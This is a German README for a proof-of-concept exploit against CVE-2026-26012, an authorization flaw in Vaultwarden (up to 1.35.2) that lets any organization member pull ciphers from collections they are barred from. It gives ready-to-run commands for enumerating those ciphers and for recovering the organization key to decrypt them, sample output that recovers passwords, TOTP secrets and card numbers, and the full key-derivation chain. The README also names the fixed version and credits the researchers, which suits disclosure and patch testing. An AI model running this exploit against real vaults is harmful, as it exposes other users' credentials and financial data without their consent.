
Proof-of-Concept-Exploit für CVE-2026-26012, eine fehlerhafte Zugriffskontrolle in Vaultwarden, die es jedem Organisationsmitglied ermöglicht, alle Cipher zu enumerieren und zu entschlüsseln, wobei die Sammlungsberechtigungen umgangen werden.
Vollständige Cipher-Enumeration unter Umgehung der Sammlungsberechtigungen der Organisation
Ein Proof-of-Concept-Exploit für CVE-2026-26012, eine Schwachstelle durch fehlerhafte Zugriffskontrolle in Vaultwarden (<= 1.35.2), die es jedem Organisationsmitglied ermöglicht, alle Cipher innerhalb der Organisation abzurufen und zu entschlüsseln – unabhängig von den Berechtigungen auf Sammlungsebene.
🤖 Hinweis: Dieses Projekt wurde mit Unterstützung von Claude 3 Opus entwickelt. KI wurde für die Codegenerierung, die Architekturstruktur und die Dokumentation eingesetzt. Alle Ausgaben wurden manuell überprüft und für die Qualitätssicherung getestet.
| CVE | CVE-2026-26012 |
| Advisory | GHSA-h265-g7rm-h337 |
| Betroffen | Vaultwarden ≤ 1.35.2 |
| Behoben in | 1.35.3 |
| CVSS 3.1 | 6.5 (Mittel) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — Falsche Autorisierung |
| Credit | Entdeckt von @odgrso, behoben von @BlackDex |
Der API-Endpunkt GET /api/ciphers/organization-details ist für jedes Organisationsmitglied zugänglich. Intern ruft er Cipher::find_by_org auf, das alle Cipher in der Organisation zurückgibt, und stellt sie dann mit CipherSyncType::Organization bereit, ohne die Zugriffskontrolle auf Sammlungsebene durchzusetzen.
Da alle Organisations-Cipher denselben Organisations-Verschlüsselungsschlüssel verwenden (den jedes Mitglied beim Beitritt erhält), können die geleakten Cipher clientseitig vollständig entschlüsselt werden.
Reguläres Organisationsmitglied (auf Sammlung "Public" beschränkt)
│
├── GET /api/sync → 5 Cipher (korrekt)
│
└── GET /api/ciphers/organization-details
└──→ 47 Cipher (ALLE Organisations-Cipher — FEHLER)
└──→ 42 Cipher aus eingeschränkten Sammlungen (GELEAKT)
└──→ Entschlüsselbar mit dem Org-Schlüssel, den das Mitglied bereits besitzt
.
├── README.md # Diese Datei
├── poc_cve_2026_26012.py # Phase 1: Cipher-Enumeration & Leak-Erkennung
├── poc_decrypt.py # Phase 2: Org-Schlüssel-Wiederherstellung & Cipher-Entschlüsselung
└── LICENSE
cryptography (für die Entschlüsselung in Phase 2)argon2-cffi (nur wenn die Zielinstanz den Argon2id-KDF verwendet)pip install cryptography
pip install argon2-cffi # optional
Erkennt, ob die Instanz verwundbar ist, indem die vom normalen /api/sync-Endpunkt zurückgegebenen Cipher mit denen des verwundbaren /api/ciphers/organization-details-Endpunkts verglichen werden.
# Über den Browser authentifizieren (SSO + 2FA unterstützt), dann das Bearer-Token übergeben
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Bearer-Token (empfohlen — funktioniert mit SSO + 2FA)
--token "eyJhbGciOi..."
# Session-Cookie
--cookie "VAULTWARDEN_SESSION=abc123..."
# Raw-Cookie-Header (mehrere Cookies)
--cookie-header "session=abc; token=xyz"
# Direkter Passwort-Login (NUR ohne SSO und 2FA)
--email [email protected] --password "MasterPassword"
So extrahieren Sie Ihr Bearer-Token:
/api/... und kopieren Sie den Wert des Authorization-Headers--no-verify-ssl # SSL-Überprüfung überspringen (selbstsignierte Zertifikate)
--show-all # Auch legitim zugängliche Cipher anzeigen
--max-display 50 # Maximale Anzahl anzuzeigender geleakter Cipher (Standard: 20)
--output results.json # Vollständige Ergebnisse als JSON exportieren
Stellt den Organisations-Verschlüsselungsschlüssel wieder her und entschlüsselt alle geleakten Cipher aus Phase 1.
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
Hinweis:
--master-passwordist Ihr Vaultwarden-Master-Passwort, das lokal zur Ableitung der Entschlüsselungsschlüsselkette verwendet wird. Es wird niemals über das Netzwerk gesendet. Das--tokenübernimmt die API-Authentifizierung.
Fehlerbehebung: Wenn die Schlüsselentschlüsselung fehlschlägt, fügen Sie
--debughinzu, um Zwischenwerte bei jedem Schritt zu sehen. Das Skript versucht automatisch 5 Strategien (HKDF modern, HMAC legacy, Raw-Key und HMAC-Skip-Varianten), um unterschiedliche Kontenalter und Konfigurationen zu berücksichtigen.
Wenn Sie den 64-Byte-Organisationsschlüssel (128 Hex-Zeichen) bereits haben:
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === Key Recovery Chain ===
[1/6] KDF-Parameter abrufen...
KDF: PBKDF2-SHA256, Iterationen: 600000
[2/6] Master-Key ableiten...
[3/6] Master-Key strecken (HKDF-Expand)...
[4/6] Verschlüsselte Schlüssel von /api/sync abrufen...
Organisation: ACME Corp
[5/6] Symmetrischen Benutzerschlüssel entschlüsseln...
[6/6] RSA-privaten Schlüssel entschlüsseln → Organisationsschlüssel...
[+] Organisationsschlüssel erfolgreich wiederhergestellt!
[*] 42 Cipher entschlüsseln...
============================================================
ENTSCHLÜSSELUNGSERGEBNISSE
============================================================
Gesamt: 42
Entschlüsselt: 42
Fehler: 0
AUSWIRKUNGSZUSAMMENFASSUNG
Passwörter wiederhergestellt: 35
TOTP-Geheimnisse wiederhergestellt: 12
Kartennummern wiederhergestellt: 3
============================================================
Jedes Organisationsmitglied besitzt bereits den symmetrischen Schlüssel der Organisation, verschlüsselt mit seinem RSA-öffentlichen Schlüssel. Die Entschlüsselungskette ist:
Master-Passwort + E-Mail
│ PBKDF2-SHA256 oder Argon2id
▼
Master-Key (32 Bytes)
│ HKDF-Expand-SHA256
▼
Gestreckter Schlüssel: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (entschlüsselt profile.key)
▼
Symmetrischer Benutzerschlüssel: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (entschlüsselt profile.privateKey)
▼
RSA-privater Schlüssel (2048-Bit PKCS#8 DER)
│ RSA-OAEP-SHA1 (entschlüsselt profile.organizations[].key)
▼
Organisationsschlüssel: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
Entschlüsselte Cipher-Daten